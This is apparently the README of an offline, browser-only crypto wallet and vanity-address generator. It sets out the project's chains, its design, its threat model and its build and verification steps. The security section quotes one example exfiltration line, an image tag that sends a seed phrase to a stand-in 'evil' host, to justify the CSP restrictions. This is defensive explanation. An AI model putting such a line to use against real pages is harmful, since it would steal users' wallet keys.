A crypto wallet generator that runs entirely in the browser, as five static HTML files.
finland93.github.io/cryptostack-wallet-generator
No server. No RPC calls. No telemetry. No balance checks. Every page is one self-contained file — download it, unplug the machine, open it from a folder. It fetches nothing, ever.
| Page | For |
|---|---|
index.html |
What it is, which chains, what it will not do |
vanity-address-generator.html |
Prefix/suffix addresses — ETH, BTC, SOL, TRON |
bip39-seed-phrase-generator.html |
Generates a 12–24 word phrase → BTC, ETH, SOL, TRON addresses |
vanity-address-risks.html |
What a prefix costs, Profanity/Wintermute, address poisoning |
wallet-security-guide.html |
What protects your keys here, what does not |
Five pages rather than one page with tabs, because a tab is not a URL. One URL carries one
title, one description and one <h1>, so a tabbed site competes for one set of search terms
no matter how much is written on it. Someone searching is a vanity address safe and someone
searching bip39 seed phrase generator want different pages, and now they get them.
Each page has its own title, description, canonical, Open Graph and Twitter tags, JSON-LD and
<h1>, all generated from src/site.js, plus robots.txt and sitemap.xml. The risk and
security writing is real markup, not text painted in by JavaScript, so a crawler reads it
without executing anything. The two prose pages ship no JavaScript at all.
| Chain | Path | Starts with | Vanity | Seed |
|---|---|---|---|---|
| Ethereum / EVM | m/44'/60'/{a}'/0/{i} |
0x |
✓ | ✓ |
| Bitcoin — Native SegWit (BIP-84) | m/84'/0'/{a}'/0/{i} |
bc1q |
✓ | ✓ |
| Bitcoin — Taproot (BIP-86) | m/86'/0'/{a}'/0/{i} |
bc1p |
✓ | ✓ |
| Bitcoin — Legacy (BIP-44) | m/44'/0'/{a}'/0/{i} |
1 |
✓ | ✓ |
| Bitcoin — Nested SegWit (BIP-49) | m/49'/0'/{a}'/0/{i} |
3 |
— | ✓ |
| Solana | m/44'/501'/{a}'/0' |
— | ✓ | ✓ |
| TRON | m/44'/195'/{a}'/0/{i} |
T |
✓ | ✓ |
The EVM address is the same on Polygon, BNB Chain, Arbitrum, Optimism, Base and Avalanche
C-Chain. Adding a chain is one entry in src/core/chains.js.
There is nowhere to type an existing seed phrase. The seed page generates; it does not import. "Paste your seed phrase into this website" is the shape of every seed-phrase phishing page there has ever been, and a tool cannot print that warning above a box that does exactly it and expect the warning to win. It is also one function away from the wrong program: the tool this replaced generated random mnemonics, derived their addresses and asked an RPC which held money — delete the RPC call and you have an import box. To check a phrase you already have, restore it in the wallet you actually intend to use, offline. That tests the wallet you will trust, not this page.
The phrase never touches a form control either: it lives in a local variable and reaches the DOM
only as textContent, inside a blurred grid. An input's value gets autofilled, offered to the
password manager, restored on back-navigation and kept in the bfcache. A variable is none of that.
It does not check the balances of the wallets it generates. Not now, not behind a setting.
- Checking a balance means sending an address to somebody's RPC server, which from that moment knows the address and your IP belong together. A freshly generated wallet whose balance you "just checked" is not private any more.
- A tool that generates wallets and checks their balances is not a wallet generator. It is a cracking tool: the only reason to check balances on randomly drawn keys is to go looking for someone else's money. This project replaced two earlier tools that did exactly that.
The rule is enforced by the browser, not by a promise: every page's CSP contains
connect-src 'none', so fetch, XMLHttpRequest, WebSocket, EventSource and sendBeacon
are all refused — including if the page's own JavaScript turns hostile.
- If you fork or rename this, edit
homepageandrepository.urlinpackage.json, then runnpm run build. Every canonical, Open Graph URL, JSON-LD block, sitemap entry and footer source link is written from those two fields — there is no third place to remember. - Push, then Settings → Pages → Source: GitHub Actions.
Not Deploy from a branch: that publishes whatever is on the branch, tests passed or not. The workflow deploys only after both gates are green and uploads the committed files rather than rebuilding them, so the bytes served are bytes a human read in a diff.
The built pages are committed on purpose. Pages serves what is in git, a download from git is
byte-identical to it, and CI proves both match src/.
The threat: somebody gets JavaScript onto the page that steals a seed phrase. Dependency hijack, compromised repository, man-in-the-middle.
connect-src 'none'— the important one. A stolen key has nowhere to go.img-srcis restricted todata:,font-srctoo,form-actionis'none': each is an exfiltration channel left open otherwise.<img src="https://evil/?seed=…">works as well asfetch.- The script is pinned by its own hash.
script-src 'sha256-…'names the SHA-256 of the one inline script; no'self', no other source. The browser recomputes it every load and runs the code only on an exact match. Change one byte and it runs nothing — and the page says so instead of sitting blank. Same guarantee SRI gives an external file, and stronger in one way: an injected script tag cannot match a hash computed before it existed. The prose pages carry the hash of the empty string — a source nothing can match. - Nothing is fetched at all. No CDN, no Google Fonts, no analytics, no subresources: fonts
are
data:URLs, the crypto is inline, the worker travels as a string and starts from a blob. This is what makes the pages work from a folder, and why there is no runtime supply chain to attack. - Reproducible build.
npm run verifyrebuilds fromsrc/and requires byte-identical output. Output that drifts from its source is what a supply-chain attack looks like. CI runs it on every push. - Unminified. The cryptography is readable in the page you are running it in — diff it against @noble and @scure. A minified bundle is where a backdoor hides.
- No
innerHTMLanywhere. The interface is built fromtextContentandvalue. NolocalStorage, nosessionStorage— sealed to throw, so a phrase cannot reach disk. - Prototypes frozen before the cryptography is evaluated, natives snapshotted.
- Randomness only from
crypto.getRandomValues. No mouse wiggling, no dice, no "extra entropy" — homemade entropy is a way to make a CSPRNG worse.
- Browser extensions. Content scripts run in an isolated world with their own privileges and the page's CSP does not bind them. An extension allowed to read page content can read a seed phrase.
- A compromised OS. Keyloggers, screen capture, clipboard snooping.
- A page modified consistently. The CSP guarantees the script matches the hash the page
declares. Rewrite both and they still match. That is what
SHA256SUMSis for — and the fact that it is published somewhere other than the file it describes. - You. A screenshot of a seed phrase is a screenshot of a seed phrase. Cloud-backed up. Synced. Forever.
git clone https://github.com/finland93/cryptostack-wallet-generator.git
cd cryptostack-wallet-generator
npm ci
npm run verify # rebuilds from src/, demands identical bytes
sha256sum -c SHA256SUMS
npm test # 50 testsOne page is one file, so one hash covers a whole application — app, cryptography, styles, fonts and worker together.
npm test does not check the code against itself. It cross-validates every derivation against
two independent sources: the official vectors from BIP-39, BIP-49, BIP-84, BIP-86 and SLIP-0010,
and other libraries (ethers, bitcoinjs-lib, bip32, tiny-secp256k1) implementing the
same specs with different code. test/invariants.test.mjs checks the claims on this page
instead of the arithmetic: no page references fetch or any other way out; no remote URL is
hardcoded; nothing touches localStorage; no first-party code builds DOM from strings; every
CSP still says what it says above and its hashes still cover the blocks they name; every page
has a distinct title, description, canonical and <h1>. It reads code as a parsed syntax tree
rather than as text, so a comment mentioning fetch cannot trip it and a real call cannot hide.
npm ci
npm run build # src/ -> the five pages, robots.txt, sitemap.xml, SHA256SUMS
npm run serve # http://127.0.0.1:8080 — only needed to test the hosted path
npm test
npm run verify # what CI runs
npm run reachable # measure reachable characters and throughput per chainYou never need serve to use the tool: open the files from a folder. It exists to check what
Pages will do before pushing.
src/
site.js every page: slug, title, description, h1, which script
layout.html the shell each page is poured into
pages/_*.body.html the body of each page
main.css the whole stylesheet
entry.vanity.js what the vanity page runs
entry.seed.js what the seed page runs
ui/ common.js, vanity.js, seed.js
vanity.worker.js search thread, one per core
core/ chains, codec, derive, slip10, vanity, security, i18n
tools/build.mjs inlines everything into each page + the --check drift test
test/ derive.test.mjs, invariants.test.mjs
On secp256k1 chains a new key is not drawn per attempt. One 256-bit base scalar k is drawn,
k·G computed once, and the search walks k+1, k+2, … by point addition — roughly 50× cheaper
than scalar multiplication. The base scalar is re-randomised every 2²⁰ steps and a run returns
one result, so found keys are unrelated. Solana cannot use the trick: ed25519 hashes the seed
with SHA-512 before the scalar, so consecutive keys give unrelated points.
Measured (addresses/sec/core, ordinary laptop): Bitcoin bech32 ~11,600 · Bitcoin legacy ~10,400 · Ethereum ~9,500 · TRON ~9,300 · Solana ~3,800 · Bitcoin Taproot ~1,600.
Five packages, all from Paul Miller's @noble/@scure family: zero-dependency, audited, no network code anywhere in them.
@noble/curves · @noble/hashes · @scure/base · @scure/bip32 · @scure/bip39
Pinned exactly, no ^. Everything else — esbuild, ethers, bitcoinjs-lib, acorn, the fonts — is
a dev dependency and never reaches a page. (The fonts do, as bytes.) The test dependencies are
deliberately not the runtime ones: validating @scure/bip39 with @scure/bip39 would only
prove it agrees with itself.
MIT. If you publish a modified version, replace SHA256SUMS with your own — don't
let anyone compare your build against these hashes and think they match.